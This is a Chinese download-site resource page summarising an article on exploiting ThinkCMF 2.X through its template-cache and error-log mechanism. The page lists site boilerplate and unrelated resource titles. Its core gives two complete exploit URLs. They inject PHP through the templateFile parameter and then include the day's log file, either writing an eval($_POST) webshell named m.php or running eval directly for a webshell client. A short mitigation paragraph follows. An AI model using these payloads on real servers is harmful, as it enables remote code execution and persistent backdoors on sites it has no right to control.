ThinkCMF缓存Getshell漏洞分析与利用
需积分: 0 37 浏览量
更新于2024-08-05
收藏 476KB PDF 举报
"文章介绍了如何利用ThinkCMF2.X版本中的模板缓存机制,通过构造特定的Payload,将PHP代码写入日志文件并再次包含执行,实现远程代码执行,即Getshell攻击。"
在网络安全领域,Getshell攻击是指攻击者通过某种方式在目标服务器上获取一个可执行的命令入口,通常是以PHP文件的形式存在,使得攻击者能够控制或操纵目标服务器。这篇由Sp4ceHACK学习呀发表的文章讲述了针对ThinkCMF2.X(基于ThinkPHP3.x框架)的Getshell漏洞利用方法。
ThinkCMF是一款基于ThinkPHP的开源内容管理框架,而ThinkPHP3.x版本默认开启错误日志记录和模板缓存功能。攻击者可以利用这个特性,尝试将恶意PHP代码注入到数据运行时目录(data/runtime)下的Logs/Portal日志文件中。一旦代码被写入,通过再次访问包含这些日志文件的URL,就可能导致恶意代码被执行。
文章提供了两种Payload示例:
Payload1:
1. 访问构造的URL:`http://target.domain/?a=display&templateFile=<?php file_put_contents('m.php','<?php eval($_POST["X"]);?>');die();?>`
2. 再次访问:`http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log`
这会在网站根目录生成一个名为m.php的文件,其中包含了可执行的PHP代码,密码字段为X。
Payload2:
1. 访问构造的URL:`http://target.domain/?a=display&templateFile=<?php eval($_POST[X]);?>`
2. 使用菜刀(一种常见的Webshell管理工具)连接:`http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log`
这里同样使用了X作为密码。
这些Payload的原理是,通过`templateFile`参数尝试加载不存在的模板文件,ThinkPHP会尝试生成一个包含错误信息的日志文件,而这些错误信息中就包含了攻击者输入的PHP代码。当再次访问包含日志文件的URL时,服务器会尝试解析日志文件,从而执行其中的恶意PHP代码。
文章提醒,这种攻击可能存在于Linux和Windows环境下的不同PHP版本,如宝塔环境下的PHP7.2和PHPstudy下的PHP7.1。对于使用ThinkCMF2.X的站点管理员来说,及时更新系统、关闭不必要的错误日志记录和模板缓存,以及加强输入验证和过滤,是防止此类攻击的关键措施。
这篇文章揭示了Web应用安全的一个重要方面,即框架和CMS的安全配置与漏洞利用,对从事Web安全研究和运维的人员具有很高的参考价值。
2022-08-03 上传
2022-08-03 上传
2022-08-03 上传
2023-11-03 上传
2023-06-09 上传
2023-09-09 上传
2023-03-27 上传
2023-08-18 上传
2023-08-14 上传
网络小精灵
- 粉丝: 35
- 资源: 334
最新资源
- 开源通讯录备份系统项目,易于复刻与扩展
- 探索NX二次开发:UF_DRF_ask_id_symbol_geometry函数详解
- Vuex使用教程:详细资料包解析与实践
- 汉印A300蓝牙打印机安卓App开发教程与资源
- kkFileView 4.4.0-beta版:Windows下的解压缩文件预览器
- ChatGPT对战Bard:一场AI的深度测评与比较
- 稳定版MySQL连接Java的驱动包MySQL Connector/J 5.1.38发布
- Zabbix监控系统离线安装包下载指南
- JavaScript Promise代码解析与应用
- 基于JAVA和SQL的离散数学题库管理系统开发与应用
- 竞赛项目申报系统:SpringBoot与Vue.js结合毕业设计
- JAVA+SQL打造离散数学题库管理系统:源代码与文档全览
- C#代码实现装箱与转换的详细解析
- 利用ChatGPT深入了解行业的快速方法论
- C语言链表操作实战解析与代码示例
- 大学生选修选课系统设计与实现:源码及数据库架构